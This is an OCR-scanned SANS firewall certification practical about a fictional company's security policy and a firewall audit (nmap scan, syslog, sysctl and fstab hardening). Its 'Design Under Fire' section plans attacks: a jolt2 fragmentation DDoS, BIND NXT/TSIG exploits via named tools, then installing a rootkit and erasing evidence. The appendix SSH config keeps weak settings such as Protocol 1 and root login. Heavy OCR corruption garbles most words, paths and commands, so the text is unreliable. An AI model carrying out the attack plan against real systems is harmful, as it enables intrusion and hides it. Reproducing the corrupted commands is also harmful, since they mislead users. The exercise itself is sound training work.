ACME highly recommends first haening the laptops with BastleLinux avaiable at http://www.bastille-
linux.org. Cumently, BastlleLinux can be used to harden the popular RedHat and Mandrake Linux distrioutions.
ACME aso recommends insidling a persond frewal on al roving lapops to protedt them fom scanning and
compromising. Two excelent personal frewalls for Linux are Firestarter 2 and rcf . Firestarter is a GUI based
persond frewal whie rcf is commend ine-oriented.

A comparison of te two can be found at

http://www.dfwuug.org/newsletters/2001/newsletter 0101.htmi#GarySmith.

ACME hes defined a secuity policy for GIAC Enterprises comprised of a border router, frewal, and VPN
soluion. As GIAC Enterprises is a leading supporter of Open Source Sofware, ACME was requested to use
Open Source Sofware where appropriate to implement the security policy where deemed  appropriate. ACME
believes the policy parameters put forth in this document wil provide GIAC Enterprises with sufident security
foday and the buiding blodks to secure the enterprise in the future.

2 http://sourceforge.net/projectsfirestarter/
3 http://sourceforge.net/projects/rcf/

43
© SANS Institute 2000 - 2005 Author retains full rights.



Audit Your Firewall

Introduction

Folowing the compleion of the Securiy Architecture profect and the Security Policy profect conducted by ACME
for GIAC Enterprises, the management of GIAC Enterprises decided o contract with ACME again for a
secutty audt of the frewal. In the statement of work, ACME wil conduct an audit of the frewal and a
perimeter analysis. The proect deliverables wil be a report desabing the methoddlogy used to conduct the
audt, the findings of the audi and recommendations based on the findings of the audit to enhance secury of
the frewal and the perimeter.

Planning the Audit

Frewal tesing is a penefraion test The idea is to subedt a frewal the same assauls in which a hadker
woud engage but in a contoled and reproducble manner. Audiing a frewal can be ke a double-edged
sword. The audit provides a test of how the firewal wil stand up to a hacker's atiacks since the audit uses
the same foos and techniques used by hadkers. If the frewal passes the audt it can be a source of
confidence to officers and management in a coporation, a digital security blanket if you wil. On te other
hand, a frewal wih a faling grade revedls the inadequadies an organizaion's secury polices and leads
frequently lead to animosty. Somefimes frewal audis go awmy causing severe distupion in the nomal business

The fist step in a frewal audt is establishing the rues of engagement for the audit The planning for audiing
a frewal must be as carfuly considered as the securty policy it implements. There are three issues o be
considered in a frewal audit:

1. Rationale. The primary motivation for testing a firewall should be the need to determine, through
empirical methods, the firewall's ability to prevent the kind of attacks that intruders are likely to perpetrate.
As such, penetration testing is an extremely invasive procedure. The interests of the organization might
be served better by an analysis of the security policy and the techniques used to implement than a formal
penetration test.

2. Management awareness and buy-in. Firewall testing without management awareness is a recipe for
disaster. At the very least management will view the testing as an imesponsible act.

3. Disruption. Firewall testing will likely disrupt network operations. The methods used to audit a firewall are
the same as an actual attacker would use. These can overload systems and networks grinding
operations to a halt. Limits on the amount of disruption must be defined before the actual testing begins.
The notification of network administrators and others in advance of an impending and possibly of the
time of the planned test reduces the likelihood of disruption.*

4 There is a tacit assumption in performing the audit that the system and network administrators have not made
changes to the firewall or other perimeter systems prior to the audit. Removing services and changing
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Wih the rdes of engagement, estabished, the next siep is fomudion of the godls of the tests that wil be
used © audt te frewal,

The gods mutualy agreed upon by te management of GIAC Enterprises and ACME take te fom of
Questions o be answered by te audt

ls he frewall a comectimplementation of he frewal securiy polcy?
How adequate i he logging capebilty?

Doss the frewal have the abill to send an dam?

ls he frewal adequately hardened?

o~

The polcy shoud defire which services are alowed and which are not It is the task of the frewal o
corecly impement the secury policy. This can be determined by performing a poriscan of the frewall from
outsde the perimeter. ACME performed a portscan of the GIAC Enterprises frewal with nmap, a popular
program among hackers o defermine istening ports.

The fomat of the nmap command used o porscan, an explanaion of the command, the resuls of the
command and an expianation of the resulls are gven below

nmap -v -g53 -sS -sR -P0O -p1-65000 -o nmap.lis giac-ent-fw.giac.com

The —v opion is for verbose mode. The option is highly recommended o as s use gves more information
about what is going on. The —g opiion sefs the source port to be used in the scan. In this scan port 53,
the port used by DNS, is used. Firewals routinely pass port 53, tus this is a good pot o use. The S
opon direds nmap to perfom a TCP SYN scan. This is often refered as a “half open” scan because a ful
TCP connect is never done. The -sR directs nmap to perfom an RPC scan o see what RPC senices
may be ruming on the frewal. The PO option direds nmap to not ping the host first This alows the
scanning of networks that do not alow ICMP echo requests or responses through the frewal. The —p tels
nmap which port or range of porfs fo scan. In this case, te ful range of ports is scanned. The -0 oplion
drects nmap to wite the results to a fie, in tis case, nmapls. The last parameter is the name or
IP address of the system to target, in this case the firewall for GIAC Eniperprises.

Starting nmap V. 2.52 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Initiating SYN half-open stealth scan against giac-ent-fw.giac.com (160.2.36.16)
The SYN scan took 4092 seconds to scan 65000 ports.

Initiating RPC scan against giac-ent-fw.giac.com (160.2.36.16)

The RPC scan took 3 seconds to scan 65000 ports.

Interesting ports on giac-ent-fw.giac.com (160.2.36.16):

(The 64993 ports scanned but not shown below are in state: filtered)

Port State Service (RPC)
21/tcp open ftp
22/tcp open ssh

configurations would render the audit invalid.
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23/tcp closed telnet

25/tcp open smtp
53/tcp open domain
80/tcp open http
443/tcp open https

The nmap scan of gacenHwgaccom indicates the expected ports are istening for connecion and rogue ports,
such as mpc senvices o IRC (Intemet Relay Chat) are not open.

For the sake of completeness, ACME requested the approval to portscan on each segment of the inemal

LAN of GIAC Enterprises. The management of GIAC Enterprises agreed that tis was a worttwhie pursuit

but was unwiling to commit to the potential senvice disrupion this might cause. GIAC Enterprises has stated it
wishes ACME o perform such scans at a later date.

How adequate is the logging capability?
The abiity t log events is espedaly important in light of the natre of meny attacks on frewals. A populer
fechnique among hackers is the “stealth atiack’ in which information is gathered about a network over a long
period of fime. This makes detecion wnikey. Reviewing /etoisysiog.oonf °of the frewal revedled several
shoroomings in the logging thet could be easly improved. ACME recommends  uncommenting tis ine:
#console.info /var/log/console.log
This wil drect al wites o the consoe into the fie Aarfoglonsoelog.
ACME recommends uncommenting this ine:
#. /var/log/all.log
This wil enable logging of al messages to the fie Aarlogallog

ACME recommends uncommenting this fine and subsiiuing the namelP address of one of the sysilog senvers
on the infemal network:

# > @loghost
Finaly, remove references o i, ppp, sip and news fom the fie.
Does the firewall have the ability to send an alarm?

loealy, the porscan perfomed against the firewal should have caused dams o go off, pagers o buz beep
or virate, or some oher event shouid have happened 1o get people's attenfion. No such evenis oocurred.
Upon inspection of the log fles, signficant events had been logged. This situaion is analogous o seffing up a
dosed drouit TV camera sysiem at the perimeter of a buiding and not having anyore watthing the TV
screens. ACME recommends GIAC Enterprises install and configure the Simple Watcher program, swattch, o
watch the log fles. Swatth has mulipe methods of alaming, boh visualy and by tiggering events. This is the

5 The /etc/syslog.conf file can be found in the Appendices.
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perfect tool 0 run on a master loghost o cause dams o go off indicaing a signiicant security event has
oocumed. Swatch can be oblained fom hitp://www.stanford.edu/~atkins/swatch/

Is the firewall adequately hardened?

ACME inspected the frewal sefup for GIAC Enterprises and produced the folowing recommendations for GIAC
Enterprises 1o harden the frewal in increase its resiiency.

The fles /etcsyslogoonf and /efchewsyslog.conf conrdl the logging of events and the rofation of system logs.
These fies shouid not be readable by ominary users. ACME recommends seffing the permissions on these fie
such that only root hes read acoess.

chmod 600 /etc/syslog.conf
chmod 600 /etc/newsyslog.conf

By defaut, many operaing systems, induding FreeBSD on which the frewal is based, send a RST packet
when they reosive data on dosed poris. This hes the poiential o make portscanning and OS fingerprining
easer. In addton, tis wastes CPU processing capebity and has the potental for use as a dend of senice
atack. There exists a feature in FreeBSD called the ‘blackhoe”. In the case of TCP when the blackhoe is
set, SYN packets on dosed ports are dropped and no RST is refumed. For UDP, instead of refuming an

ICMP unreachable packet in response to a UDP datagram on a dosed port, no reply is sent To enable
TCP and UDP blackhoing, add the folowing fines in /etc/syscilconf

netinet. tcp..blackhole=2
net.inet.udp.blackhole=1

This wil teke effect at the next reboot To achvete it immedately, do
bin/sh /etclrc.sysct

To eimnate iomp redireds which can be used o hiack sessions or be used in denial of senvioe attacks, add
the folowing e to /etofc.oont

icmp_drop_redirects="YES”

To log iomp redirects, add the folowing ine to /etofe.conf
icmp_log_redirect="YES”

Finaly, ACME recommends changes fo  /efefstab. This is te /efofstab curenty on the firewal:

# Device Mountpoint FStype Options Dump Pass#

/dev/ad0s1b none swap sw 0 0

/dev/adOs1a / ufs rw 1 1

/dev/adOs1e /opt ufs rw 2 2
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/dev/adOs1f /tmp ufs rw 2 2
/dev/ad0Os1h lusr ufs rw 2 2
/dev/ad0s1g /var ufs rw 2 2
/dev/acdOc /cdrom cd9660 ro,noauto 0 0

proc /proc procfs rw 0 0

Note that partions are mounted readwite. ACME recommends changing /efc fsiab to this:

# Device Mountpoint FStype Options Dump  Pass#
/dev/ad0s1b none swap sw 0 0
/dev/adOs1a / ufs ro 1 1
/dev/adOs1e /opt ufs ro 2 2
/dev/adOs1f tmp ufs rw,noexec,nosuid 2 2
/dev/ad0s1h lusr ufs ro 2 2
/dev/ad0s1g Ivar ufs rw,noexec,nosuid 2 2
/dev/acdOc /cdrom cd9660 ro,noauto 0 0

proc /proc procfs rw 0 0

In tis modified /efcfstab, system periions such as / As; and /opt are mount read only o prevent atiackers
from overwiing system programs or configuraion fies. Partiions that are mounted readwrite, such as Amp and
Mar  are mounted “noexec” and “nosuid’. The “noexec’ opfion wil not alow execuon of binaies on the
mounted fies system. The “nosuid” option wil not pemit the setuserdentfier or setgroup-dentiier bits on
binaries 10 take efiect These two options in tandem wil make if dificult for attackers to subsfiute toans for
rea programs.

The DMZ

There are three systems in the DeMiitaized Zone (DM2) of GIAC Enterprises providing DNS neming services,
web senvices, and fip, and electonic mal o te Intemet These systems dso provide points of attack for
hackers. The three systems in the DMZ are PC archieciure computers al running RedHat Linux 70. It is
vitaly imporant et these servers be auded and made as secure as possile. The audiing of these three

sysiems wil be in a three fered approach:

1. Overal system hardening

2. Generaimprovements in security

3. Spedicimprovements based on servioe function
Overall System Hardening

From interviews with systems administration staff of GIAC Enterprises, ACME was able to determine thet the
systems in the DMZ had not undergone any hardening process to make the sysems more resiient o
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intruders. ACME recommends  obiaining BastlleLinux and executing it on each of the sysiems in the DMZ
Bastle Linux is a hardening program which enhances the security of a Linux system, by oconfiguing daemons,
fie pemissions, and logging.

General improvements in security

An excelent staring point to improve the seaurity of system is the SANS Insfiute Top Ten located at
http://www.sans.org/topten.htm. Not al iiems are appicable o al systems, but these are the ‘low hanging
fut” then can be readly implemented o improve secury. The SANS Top Ten are gven below.

1. BIND weaknesses: nxt, ginv and innamed allow immediate root compromise.
2. Wuinerable CGI programs and application extensions (e ., ColdFusion) installed on web servers.

3. Remote Procedure Call (RPC) weaknesses in petidbserverd (ToolTakk), pe.cmsd (Calendar Manager), and mpe.statd thet
alow immediate root compromise.

4. RDS security hoke in the Miorosoft Intemet Information Sexver (1IS)

5. Sendmai and MIME bufier overfiows as wel as pipe attacks that allow immediate root compromise.

6.  sadmindand mountd

7. Gobal fie sharing and inappropriate informeation sharing via NetBIOS and Windows NT ports 135->139 (445in

Winoows2000), or UNIX NS exports on port 2049, or Macintosh Web sharing or AppleShare/IP on ports 80,427, and
548,

8. User IDs, espedally rootladministrator with no passwords or weak passwords.
9. IMAP and POP buffer overfiow vulnerabiliies or incomect configuration.
10. Default SNMP community strings setto ‘public and ‘private.

Application of the SANS Top Ten

On the DNS name sever, ACME found the version of named was potentialy susoeptble to the NXT and
QINV' exploits. ACME highly recommends upgrading the version of named fo the latest stable release. ACME
aso found versons of named on the web sever and mal server. ACME recommends the removal of named
fom these systems lest they be started acodentaly or by malidous infent ACME also recommends running
named in “chrooted” envionment to prevent fulure remote compromise attacks.

On te web sever, ACME found the sample programs distibuted with the Apache web server sil in place.
ACME recommends removal of these easly compromised progiams and a careful audt of al CGl programs
unning on the web server for wunerabiities.

On te emal server, ACME found the version of sendmal rumning there was susoeptble to buffer overfiow
explois as descrbed in the SANS Top Ten. ACME recommends upgrading sendmail o the latest stable
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Verson.

With pemission of the management of GIAC Enterprises, ACME checked the password fies of the three
senvers in the DMZ at the ACME Research Center using John The Ripper. John the Ripper is a password
cacker for Unix systems. ACME found nefther user ids with out passwords or user ids with weak passwords.
ACME recommends instalation of the proacive password strengthchecking module for PAMaware systems such
as Linux. The checking modue can be used to prevent users fom choosing passwords that would be easly
cacked wih programs like John The Ripper. John The Ripper can be obiained from
http://www.openwall.com/john/, te passwordchecking modue, from
http://www.openwall.com/passwdqc/.

Athough nore of the systems in the DMZ are running SNMP, ACME recommends removal of the sofware
fom the sysiem lest it started eiher by acddent or for malicous infent

ACME aso recommends insialing and configuing Tripwire (avaiiable at http://www.tripwire.com) on each of
the severs in the DMZ ACME recommends rumning Tripwie o check the integrity of the servers each day
and desgnating someone 1o review the reports from Tripwire as well

Specific Improvements Based on Service Function

ACME recommends severd improvements be made o the web server o improve its secury.

1. Server Side Indudes (SSI) shouid be disabled to prevent users from executing arbitrary programs from any directory.
2. Limit CGl o special directories controlled by the administrative staf

3. Aways remember that the administration staff must trust the writers of the CGI scriptiprograms or their ability to spot potential
security holes in CGl, whether deliberate or acadental.

ACME recommends severd improvements be made 1o the emal sever o increase s secury. The sendmai
daemon on the emal server shoud eher be encapsulated in @ wrapper such as  the smap and smapd
programs fom the Firewal Took Kit (FWTK) or  replaced wih an aemative Mal Transfer Agent Smap and
Smapd prevent outsiders from communicating with large privieged  programs ke sendmai, thus making electronic
mal more secure. If atemative Mal Transfer Agents are considered, ACME recommends eiher Postix or
Qmal. Postix is avalable at http://www.postfix.org and Qmal is avalebe at http://cr.yp.to/gmail.htm.
Smap and Smapd are avaldble as pat of the Frewal Tod Kit fom http://www.fwtk.org.

Post Audit Considerations

After the condusion of the frewal audit, the resus of the audt coud senve as “HOW-TO” o an attack upon
GIAC Enterprises. If the results are not adequately protected, the resuits coud end up in the hands of a
dsgunted employee or an industial espionage agent The results could even be posted to a web st on the
Intemet for the enfire world to see. Designating who wil be alowed o possess copies of the audit, resticing
copying and disseminating of the information, and ensuring proper storage of information can predude these and
other potentialy embarassing situations.
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Design Under Fire

Introduction

The pumpose of tis exerdse is o help you tink about threals o your netwok and therefore develop a more
robust design. Keep in mind thet the next cerfiicaion group wil be atiacking your architeciure!

Select a network design from any previously posted GCFW  praciical

(http://www.sans.org/giactc/gcfw.htm)

and pese the graphic ino your submission. Be certain o ist the URL of the pracical you are using. Design
the folowing three atiacks against the architecture:

1. Anattack against the firewall itseff. Research winerabilies that have been found for the type of frewall chosen for the design.
Choose an attack and explain the resuts of running that attack against the frewall.

2. Adenial of service attack. Subject the design to a theorefical atiack from 50 compromised cable modem/DSL systems using
TCP SYN, UDP, or ICMP foods. Describe the countermeasures that can be put info place to mitigate the atiack that you
chose.

3. Anattack plan to compromise an intemal system through the perimeter system. Select a target, explain your reasons for
choosing that target, and desaribe the process to compromise the target

For tis porion of te assignment, ACME has chosen the design submited at

http://www.sans.org/y2k/practical/Alexander Usenko GCFW.doc

A oopy of the secuiy archiieciure is given below.
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Attacking the Firewall

Checkponts FirewalH1 product is one of the most popular firewall produdts in use today. Mr. Usenko chose to
use FrewaH as the pimary frewal. Mr. Usenko states the version used in his archiecure is 4.1. For this
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discussion, we wil assume no senvice packs have been appied. Searching the Intemet for winerabliies in
FirewalH1 wih that release number, a series of wunerabiies were found on http://www.phoneboy.com.

In a paper deivered at the Black Hat Briefings 2000, Messrs. Thomas Lopatc, John McDonald, and Dug
Song desaibed several wunerabiiies in tis and related versions of Checkpoints FirewalH. Some of the attacks
that can leveled at this version are:

TCP Fast Mode

Frewal1 has a feature caled ‘fast mode” that alows an administator to designate certain senvices as
‘performance criical” This might be HTTP for a high voume web server or SMTP for a coporate Intemet
emal gateway. For these fast mode services, FirewalH! pesses the padkefs that have a source or destination
pot of the fast mode wihout any addiional rue base or connecion checking. Also, in fast mode, only SYN
packels are verfied. This would alow an atiacker to pass TCP packets wihout the SYN bit set trough the
frewal by seting the source port of the packels o that of a fast mode senvice. This would be useful in

mappng a nework wih nmap using the —g and —sF options.
IP Spoofing

In Frewal-1, 1P spoofing protecion is configured per network obedt at the interface level. There are severdl

opons possble but a typical configuration may go set up in the folowing manner:

1. DMZand intranet interfaces are set fo “This Net” or “This Net+” thus restricting valid source IP addresses on the interface to
those directly on its network or routable toits network.

2. Bxemalinterfaces are set to “Others’” thus disallowing packet purporting o originate from any either DMZ or intranet
networks.

This configuration omits spoofing proection for the extemal interface for the frewal. This alows an attacker 1o
send any abirary UDP datagram to the extemal frewal interface.

These are only two of the exploits described by Lopatic, McDonald, and Song. A
complete description of the exploits they described at the Black Hat Briefings can be
found at http://www.phoneboy.com.

IP Fragmentation

Lance Spizner desabed a denid of senice attack using IP fragmentation
(http://www.enteract.com/~Ispitz/fwtable.html).

This wunerabiity explois the method Firewalk! hendes fragmented packets. Firewal! reassembles al IP
fragments of a datagram before comparing it against the securty poicy. This is done to counter other forms of
atiack such as the Overlapping Fragment Afiack. To identfy and log atiacks such as the Ping Of Death
attack, Chedkpoint added a mechanism to log certain event oocuning duing the fragment reasssembly process.
This has the potentiel to cause a denial of senice atiack against the frewal. FirewalH! reassembles the
complete packet before passing it on. By sending a large number of incomplele packes which can never be
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reassembled, the logging mechanism would consume al the CPU resources of the frewal making it inoperable.

Denial of Service Attack

A Denia Of Service Attack, or DoS is just what s name imples: it is used to deny senice o a nework or
system. Whie crashing the vidim computer is an oplion in a DoS, a more common approach s o flood the
system wih packels crafed to toke advantage of a weakness in the sofware running on the system. The
resut is the sysiem consumes al of one or more of it resources and becomes unusable, tus denying
senice. In a Distibuted Denial of Server or DDoS, the atiacker is not a singe system but a distibution of
computers. For this attack, a batiery of ffy sysiems connedied to the Intemet by DSL wil be used.

Method of Attack

In the attack against the frewal desaibed by Mr. Usenko, a hacker progam, jo2%, wil be used to create a
DDoS attack. Jol2, by Phonix Monkey, is a C progam that sends a large number of fragmented packefs at
a vidim system. The packels sent can be ICMP or UDP padckefs. This increases the likelhood a sucoessiul
attack because some secury architectures block ICMP as a matter of course. When used so send UDP
packels, a pot is suppied as an opon. DNS sevices on pot 53 are typically passed in as a matter of
course. Thus, if using jof2 to send fragmented ICMP packels is unsuccessiul, the falback for tis DDoS
attack wil be to send fragmented UDP packefs appearing to be DNS requests. As the stream of fragmented
packets bombards the frewal, it wil sow untl the CPU is consumed attempiing fo log al the packets
incapable of reassembly and become unusable. The source for joff2 can be found in the Appendix

Attack Prevention Methods

To overoome the TCP Fast Mode and the IP Spooiing attack, apply, at the very least Sewvice Pack 2 o al
systems rumning Firewal1. To overcome the P fragmentation attack descrived by Mr. Spitzer, disable console
logging by entering the folowing commend from the consoke:

$FWDIR/bin/fw ctl debug —buf

This commend can be added o the SFWDIRbinfwfwstat command fle fo dissbe this style of logging
when the frewal sofiware is restarted.

It shoud be ponted out thet there is not a design flaw in Mr. Usenko's secury architecure. Rather, the flaw
s sofware used to implement the securty architecture.

Internal Attack

5 http/archives.neohapsis.com/archivesiuln-dev/2000-q2/0768 html
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When bank robber Wille Sution” was asked why he robbed benks, he said, “Because that's where the

money 5" Whie there may not be any money in the DMZ systems, they are the place o atiack to gain
acess o the intemal systems because thet's where the wunerabiies are. The “low hanging fruit” that wil be
easy piking is the DNS name server. Thus, the plan of atiack wil be compromise the extemal DNS name

Using a progam such as nmap or hping, the identy of the DNS server can be ascertained by scamning for
UDP port 53. This is made especaly easy is fast mode s used on the frewal as desaibed above. In
CERT advisory CA-1999414, (http://www.cert.org/advisories/CA-1999-14.html) some versons of BIND fa
fo propery validate NXT records. This improper validaion coud alow an inruder to overfow a bufier and
execue an abitary command or progam with the privieges of the name sever. To explot this wuinerabity,
the program tesonxt from https://www.team-teso.net wil be used. Tesorxt works by oconstrucing a large
recod wih a shel command imbedded at the end. The recod when sent o the name server overfions the
receving bufier in the name server daemon, ovewriing the stack on extt and exeauiing the imbedded shel
commandfprogram. Since most DNS name server daemons execuie as root, any abirary command can be
exeauted. Because the size of the offending record is large (greater then 4140 bytes), the explot wil use TCP
rather UDP because large information transfers use TCP with DNS name servers. ff the NXT explot wes
unsuccessiul, the next explot to ty is the TSIG explot

BIND verson 8 coniains a buffer overflow (see http://www.cert.org/advisories/CA-2001-02.html) in the
implementaion of Transacion Signatures (TSIG) for DNS securty as defired in RFC 2845, Because the
overiow ooours within the inial processing of @ DNS request, both recursive and nonHecursve DNS- servers
are winerable, independent of the DNS securty configuration. This exploit can be used o execute any arbitrary
command o prog)am. The program can be found at
http://www.securiteam.com/exploits/SLPOPOK3FI.htm.

Once the extema DNS name server is compromised, the next sieps are patch the winerabiity o keep
anyone else fom exploiing the same explot, instal a root kit get nd of any ofending evidence, and lay low
for a whie.

The next step s 0 gain acoess o the inlemal DNS server. More then likely, the same compromise that wes
sucoessful on the extemal DNS server wil also be successiul on the inemal name server. Once enty o the
intemal DNS server is established, the same methoddlogy is applied to intemal DNS server: remove the
winerabity, instal a root ki, remove any evidence, and lay low for a whie. The iniemal DNS sener is an
excelent platiom fom which to map the intemal network, peruse fes, and compromise other systems wih
GIAC Enterprises.

Frewalls and securiy architeciures are subject to Fudds First Law of Opposiior?. Gven enough time, a
determined party Wil break ino a frewal much the same way barbarians leid sege o castes of dd. Also like

7 http:/Amww.fbi.govibinbriefhistoricfamcases/suttor/sutton.htm

8 Push something hard enough and it will fall over.
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the castes of old, waichers can wam and dert the guardians that barbarians are at te gate and
countermeasures can be taken o fend off the atiack However, a frewal aone, just ke a moat, is not
enough o protect the valuables within. An insider can open a poral for an atiacker 1o get in alowing the
barberians 0 loot and pilage. Only a comprehensive securiy strategy that folows the princple of “defense in
depth” can keep the woudbe intuders at bay.
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Appendix

letc/sshd.config

# This is ssh server systemwide configuration file.
#

# Listen on port 22, the standard

Port 22

# Support SSH Protocol 1 only (SSH 1.X baseline), which means RSA
# keys are used

Protocol 1

# Listen on your internal network's address only so that hackers
# from the internet can't access the SSH daemon on your box and
# try to log on. Note that you'll have to change 192.168.1.1 to
# whatever IP address your internal NIC has.

ListenAddress 192.168.1.1

# Standard settings for a bunch of stuff...HostKey, ServerKeyBits,
# LoginGraceTime, etc.

HostKey /etc/ssh/ssh_host_key

ServerKeyBits 768

LoginGraceTime 120

KeyRegenerationInterval 3600

StrictModes yes

PrintMotd yes

KeepAlive yes

CheckMail no

# Permit 'root' login...that's the only account we have on this

# box anyway

PermitRootLogin yes

# After 10 unauthenticated connections, refuse 30% of the new
# ones, and refuse any more than 60 total.

MaxStartups 10:30:60

# Don't read ~/.rhosts and ~/.shosts files

IgnoreRhosts yes

# Don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
IgnoreUserkKnownHosts yes

# Disable X11 forwarding...we're not even running X on our firewall
X11Forwarding no

# Implement severe logging...potentially invasive, but we're the

# only authorized users & we do have a legal warning banner,
# so everyone's been warned....

SyslogFacility AUTH

LogLevel DEBUG

# Set up SSHD so that you must have a RSA key in root's

# authorized_keys file to successfully log in. No Rhosts, no

# PasswordAuthentication, etc.

RhostsAuthentication no

RhostsRSAAuthentication no

RSAAuthentication yes

PasswordAuthentication no
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PermitEmptyPasswords no
Uselogin no

letc/hosts.allow

#

# hosts.allow access control file for "tcp wrapped" applications.
#

ALL : localhost 127.0.0.1 : allow

sshd : 192.168.1.0/255.255.255.0 : allow

ALL : ALL : deny

letcitripwire/twpol.txt

@@section GLOBAL
TWROOT="/usr/local";
TWBIN="/usr/local/sbin";
TWPOL="/usr/local/etc/tripwire";
TWDB="/usr/local/lib";
TWSKEY="/usr/local/etc/tripwire";
TWLKEY="/usr/local/etc/tripwire";
TWREPORT="/usr/local/lib/tripwire/report";
HOSTNAME=giac-ent-fw.giac.com;

@@section FS

SEC_CRIT = $(IgnoreNone)-SHa; # Critical files - we can't afford to miss any changes.
SEC_SUID = $(IgnoreNone)-SHa; # Binaries with the SUID or SGID flags set.
SEC_TCB = $(ReadOnly); # Members of the Trusted Computing Base.

SEC_BIN = $(ReadOnly); # Binaries that shouldn't change

SEC_CONFIG = $(Dynamic); # Config files that are changed infrequently but accessed
often.

SEC_LOG = $(Growing); # Files that grow, but that should never change ownership.
SEC_INVARIANT = +pug; # Directories that should never change permission or

ownership.
SIG_LOW = 33; # Non-critical files that are of minimal security impact
SIG_MED = 66; # Non-critical files that are of significant security impact

SIG_HI = 100; # Critical files that are significant points of vulnerability

# Tripwire Binaries
(rulename = "Tripwire Binaries", severity = $(SIG_HI))

$(TWBIN)/siggen -> $(SEC_TCB);

$(TWBIN)/tripwire -> $(SEC_TCB);

$(TWBIN)/twadmin -> $(SEC_TCB);

$(TWBIN)/twprint -> $(SEC_TCB);
}

# Tripwire Data Files - Configuration Files, Policy Files, Keys, Reports, Databases
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(rulename = "Tripwire Data Files", severity = $(SIG_HI))

{
# NOTE: Removing the inode attribute because when Tripwire creates a backup
# it does so by renaming the old file and creating a new one (which will
# have a new inode number). Leaving inode turned on for keys, which shouldn't
# ever change.
# NOTE: this rule will trigger on the first integrity check after database
# initialization, and each integrity check afterward until a database update
# is run, since the database file will not exist before that point.
$(TWDB) -> $(SEC_CONFIG) -i;
$(TWPOL)/tw.pol -> $(SEC_BIN) -i;
$(TWPOL)/tw.cfg -> $(SEC_BIN) -i;
$(TWLKEY)/$(HOSTNAME)-local.key -> $(SEC_BIN);
$(TWSKEY)/site.key -> $(SEC_BIN);
#don't scan the individual reports
$(TWREPORT) -> $(SEC_CONFIG) (recurse=0);
}

# These files are critical to a correct system boot.
(rulename = "Critical system boot files", severity = 100)

/boot -> $(SEC_CRIT);
/kernel -> $(SEC_CRIT);
}

# These files change the behavior of the root account
(rulename = "Root config files", severity = 100)
{
root -> $(SEC_CRIT);
/root/.bash_history -> $(SEC_LOG);
[root/.bash_profile -> $(SEC_CRIT);
/root/.bashrc -> $(SEC_CRIT);
[root/.ssh/authorized_keys -> $(SEC_CRIT);

}

# Commonly accessed directories that should remain static with regards to owner and

group
(rulename = "Invariant Directories", severity = $(SIG_MED))

/ -> $(SEC_INVARIANT) (recurse = 0);

letc -> $(SEC_INVARIANT) (recurse = 0);

lusr/local/etc -> $(SEC_INVARIANT) (recurse = 0);
}

(rulename = "Shell Binaries", severity = $(SIG_HI))
{

lusr/local/bin/bash -> $(SEC_BIN);

/bin/csh -> $(SEC_BIN);

/bin/sh -> $(SEC_BIN);

[binftcsh -> $(SEC_BIN);
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# Rest of critical system binaries
(rulename = "OS executables and libraries", severity = $(SIG_HI))
{
/bin -> $(SEC_BIN) (recurse = 1);
fusr/bin -> $(SEC_BIN) (recurse = 1);
fusr/lib -> $(SEC_BIN) (recurse = 1);
/sbin -> $(SEC_BIN) (recurse = 1);
{usr/sbin -> $(SEC_BIN) (recurse = 1);
}

# Local files
(rulename = "User executables and libraries", severity = $(SIG_MED))
{

{usr/local/bin -> $(SEC_BIN) (recurse = 1);

{usr/local/sbin -> $(SEC_BIN) (recurse = 1);

}

# Temporary directories
(rulename = "Temporary directories", recurse = false, severity = $(SIG_LOW))
{

fusrftmp -> $(SEC_INVARIANT);

Ivarftmp -> $(SEC_INVARIANT);

ftmp -> $(SEC_INVARIANT);

}

# Include
(rulename = "OS Development Files", severity = $(SIG_MED))
{

{usrfinclude -> $(SEC_BIN);

lusr/locall/include -> $(SEC_BIN);

}

# Shared
(rulename = "OS Shared Files", severity = $(SIG_MED))
{

{usr/share -> $(SEC_BIN);

l/usr/share/man;

lusr/local/share -> $(SEC_BIN);

}

# setuid/setgid root programs

(rulename = "setuid/setgid", severity = $(SIG_HI))

{
/oin/df -> $(SEC_SUID);
/binfrcp -> $(SEC_SUID);
/sbin/ccdconfig -> $(SEC_SUID);
/sbin/dmesg -> $(SEC_SUID);
/sbin/dump -> $(SEC_SUID);
[sbin/ping -> $(SEC_SUID);
/sbin/ping6é -> $(SEC_SUID);
/sbin/rdump -> $(SEC_SUID);
/sbin/restore -> $(SEC_SUID);
[sbin/route -> $(SEC_SUID);
[sbin/rrestore -> $(SEC_SUID);
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/sbin/shutdown -> $(SEC_SUID);
{usr/bin/at -> $(SEC_SUID);
{usr/bin/atq -> $(SEC_SUID);
{usr/bin/atrm -> $(SEC_SUID);
{usr/bin/batch -> $(SEC_SUID);
{usr/bin/chfn -> $(SEC_SUID);
{usr/bin/chpass -> $(SEC_SUID);
{usr/bin/chsh -> $(SEC_SUID);
{usr/bin/crontab -> $(SEC_SUID);
{usr/bin/cu -> $(SEC_SUID);
{usr/bin/fstat -> $(SEC_SUID);
{usr/binf/ipcs -> $(SEC_SUID);
{usr/bin/keyinfo -> $(SEC_SUID);
{usr/bin/keyinit -> $(SEC_SUID);
{usr/bin/lock -> $(SEC_SUID);
{usr/bin/login -> $(SEC_SUID);
{usr/bin/lpg -> $(SEC_SUID);
{usr/bin/lpr -> $(SEC_SUID);
{usr/bin/lprm -> $(SEC_SUID);
{usr/bin/man -> $(SEC_SUID);
{usr/bin/netstat -> $(SEC_SUID);
{usr/bin/nfsstat -> $(SEC_SUID);
{usr/bin/passwd -> $(SEC_SUID);
{usr/bin/quota -> $(SEC_SUID);
{usr/bin/rlogin -> $(SEC_SUID);
{usr/bin/rsh -> $(SEC_SUID);
{usr/bin/su -> $(SEC_SUID);
{usr/bin/systat -> $(SEC_SUID);
{usr/binftop -> $(SEC_SUID);
{usr/binfuucp -> $(SEC_SUID);
{usr/binfuuname -> $(SEC_SUID);
{usr/bin/uustat -> $(SEC_SUID);
{usr/binfuux -> $(SEC_SUID);
{usr/bin/vmstat -> $(SEC_SUID);
{usr/binfwall -> $(SEC_SUID);
{usr/bin/write -> $(SEC_SUID);
{usr/bin/ypchfn -> $(SEC_SUID);
{usr/bin/ypchpass -> $(SEC_SUID);
{usr/bin/ypchsh -> $(SEC_SUID);
{usr/bin/yppasswd -> $(SEC_SUID);
{usr/libexec/sendmail/sendmail -> $(SEC_SUID);
{usr/libexec/uucp/uucico -> $(SEC_SUID);
{usr/libexec/uucp/uuxgt -> $(SEC_SUID);
{usr/local/bin/elm -> $(SEC_SUID);
{usr/local/bin/mutt_dotlock -> $(SEC_SUID);
